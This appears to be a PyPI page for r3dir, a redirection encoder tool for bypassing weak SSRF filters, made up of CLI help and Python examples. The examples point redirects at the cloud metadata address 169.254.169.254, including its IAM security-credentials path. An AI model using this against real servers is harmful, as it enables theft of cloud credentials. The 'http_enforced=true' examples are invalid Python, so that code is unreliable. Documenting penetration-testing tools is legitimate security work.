r3dir 0.2.3.1

r3dir encoder/decoder package with CLI tool

r3dir

CLI tool for r3dir target-dynamic redirection service which helps bypass weak SSRF filters without redirection location validation.

Read details how r3dir works at Github README page.

CLI tool

Installation

pipx install r3dir

Encode mode

$ r3dir encode -h
  usage: r3dir encode [-h] [-c STATUS_CODE] [-i IGNORE_PART | -s] [--slient_mode] target_url

  positional arguments:
    target_url            Target URL which r3dir tool should redirect to

  options:
    -h, --help            show this help message and exit
    -c STATUS_CODE, --status_code STATUS_CODE
                          HTTP status code of a redirect response (default: 302)
    -i IGNORE_PART, --ignore_part IGNORE_PART
                          String, which will be ignored during decoding. Used to bypass weak REGEXs
    -s, --https           HTTPS enforced encoding(TLS certificate length limitation)
    --slient_mode         Slient mode for automations (e.g Hackvertor tags)

Decode mode

$ r3dir decode -h
  usage: r3dir decode [-h] encoded_domain

  positional arguments:
    encoded_domain  r3dir encoded domain to decode

  options:
    -h, --help      show this help message and exit

Hackvertor mode

$ r3dir hackvertor -h
  usage: r3dir hackvertor [-h] [--print]

  options:
    -h, --help  show this help message and exit
    --print     Output Hackvertor tags into terminal

To use CLI tool with own server, set your domain with -d option:

$ r3dir -h
usage: r3dir [-h] [-d MAIN_DOMAIN] {encode,decode,hackvertor} ...

Encoded/decoder CLI tool for r3dir service

options:
  -h, --help            show this help message and exit
  -d MAIN_DOMAIN, --main_domain MAIN_DOMAIN
                        Domain where r3dir tool is hosted on (default: r3dir.me)

# Example of --main_domain option
$ r3dir -d your.host encode http://localhost

Python package

You also can use r3dir.encoder module to build your own scripts or tools. It contains encode() and decode() functions which parameters corresponds to CLI options.

Custom errors which encoder or decoder may raise, you can find in r3dir.exceptions.

from r3dir.exceptions import BaseCoderError, Base32DecodingError, StatusCodeNotInRangeError, WrongEncodedURLFormat, TooLongTarget

Examples

• Encoding and decoding with ignore_part:

from r3dir import encoder

main_domain = "r3dir.me"
ignore_part = "testingtest "
target, status_code = "http://169.254.169.254", 301

encoded_domain = encoder.encode(target, status_code=status_code, main_domain=main_domain, ignore_part=ignore_part)
# encoded_domain = "testingtest.--.62epax5fhvj3zzmzig7q.301.r3dir.me"
decoded_target, decoded_code = encoder.decode(encoded_domain, main_domain=main_domain)
# decoded_target, decoded_code = "http://169.254.169.254", 301

• HTTPS enforced encoding:

from r3dir import encoder

main_domain = "r3dir.me"
target, status_code = "http://169.254.169.254", 301

encoded_domain = encoder.encode(target, status_code=status_code, main_domain=main_domain, http_enforced=true)
# encoded_domain = "62epax5fhvj3zzmzigyoeypkbn7fysllvges3fy.301.r3dir.me"

• Slient mode prevents TooLongTarget error and produce an "error domain" for decoder with a hash of the long target. Decoding of the error domain will raise an TooLongTarget exception with target's hash:

from r3dir import encoder

main_domain = "r3dir.me"
target, status_code = "http://169.254.169.254/latest/meta-data/iam/security-credentials/some_role", 301

encoded_domain = encoder.encode(target, status_code=status_code, main_domain=main_domain, http_enforced=true, slient_mode=True)
# encoded_domain = "too-long-target-2b57569cfddb7d6f61331e123da605c7573521c9.301.r3dir.me"
decoded_target, decoded_code = encoder.decode(encoded_domain, main_domain=main_domain)
# r3dir.exceptions.TooLongTarget: The target length has been too long for encoder. Target's SHA-1: 2b57569cfddb7d6f61331e123da605c7573521c9